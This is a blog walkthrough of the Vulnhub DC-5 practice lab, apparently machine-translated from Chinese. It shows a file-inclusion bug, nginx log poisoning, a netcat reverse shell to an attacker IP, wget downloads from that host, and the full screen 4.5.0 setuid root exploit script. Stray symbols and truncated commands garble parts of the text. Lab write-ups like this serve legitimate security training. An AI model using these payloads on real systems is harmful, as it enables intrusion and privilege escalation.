当前位置:网站首页>Vulnhub DC-5
Vulnhub DC-5
2022-06-23 02:29:00 【Part 02】
Description
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
The scarlet letter means that something will change after the page is refreshed , And the ultimate goal is to get root jurisdiction


111 port
80 port


stay welcome The information on the page looks like English, but the lack of letters makes the content difficult to read , And according to the prompt repeatedly refresh and do not see any changes



upper url The display of is what I filled in before , And about the url Guess the file contains , And I want to get root jurisdiction
?file=php://filter/read=convert.base64-encode/resource=index.php


?file=/etc/passwd

and shadow The file still cannot be echoed , But know url yes
linux The default path of the system log file is :/var/log
and Nginx Server access nginx There are two logs ,access.log and error.log
?file=/var/log/nginx/access.log




?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.37.128 5555

Get interactive shell
python -c "import pty; pty.spawn('/bin/bash')"


root directory

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;






#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①①
cat << EOF > /tmp/libhax.c#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②②
cat << EOF > /tmp/rootshell.c#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c---------》》》
echo "[+] Now we create our /etc/ld.so.preload file..."③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③③
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
Follow the instructions in the document

Delete after execution
rm -f /tmp/libhax.c
Write the first document libhax.c And the second file rootshell.c
Fill in the script content


After execution, we get rootshell Delete after
rm -f /tmp/rootshell.c
Turn on the server

Download two files
wget http://192.168.37.128/libhax.so
wget http://192.168.37.128/rootshell

Execute the command according to the operation

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
cd /tmp
./rootshel
Smoothly raise the right

Viewing the current working directory is still tmp, Get into root Folder

The last step , see flag

边栏推荐
- 5g access network and base station evolution
- JS case: support canvas electronic signature function on PC and mobile
- [CodeWars]Matrix Determinant
- Get the structure of the class through reflection, little chestnut
- Arm assembly syntax
- Nebula operator cloud practice
- Apache Druid's engineering practice in shopee
- "Return index" of live broadcast E-commerce
- Bubble sort - double for implementation
- How to make a borrowing card
猜你喜欢

Nebula operator cloud practice

My good brother gave me a difficult problem: retry mechanism

Mongodb aggregate query implements multi table associated query, type conversion, and returns specified parameters.

Interviewer: what is the difference between SSH and SSM frameworks? How to choose??

Rebirth -- C language and the story I have to tell (text)

Lying in the trough, write it yourself if you can't grab it. Use code to realize a Bing Dwen Dwen. It's so beautiful

For Xiaobai who just learned to crawl, you can understand it after reading it

Reptile lesson 1

pd. read_ CSV and np Differences between loadtext

Xgboost Guide
随机推荐
Ch340 and PL2303 installation (with link)
Xgboost Guide
await is only valid in async function
【CodeWars】 Pete, the baker
//1.17 printf function
What is a smart farm?
Automatically update site statistics with actions
What is sitelock? What is the function?
Custom shapes for ugui skill learning
Call rest port to implement nailing notification
For Xiaobai who just learned to crawl, you can understand it after reading it
JS to realize the rotation chart (riding light). Pictures can be switched left and right. Moving the mouse will stop the rotation
[CodeWars] Convert Decimal Degrees to Degrees, Minutes, Seconds
JS request path console reports an error failed to launch 'xxx' because the scheme does not have a registered handler
Evolution history of mobile communication
Hypervisor Necromancy; Recover kernel protector (2)
Rebirth -- C language and the story I have to tell (text)
862. triple sorting
Quick sorting C language code + auxiliary diagram + Notes
[target tracking] open source | polytrack: use boundary polygons to quickly track and segment multiple targets, instead of bounding box and mask tracking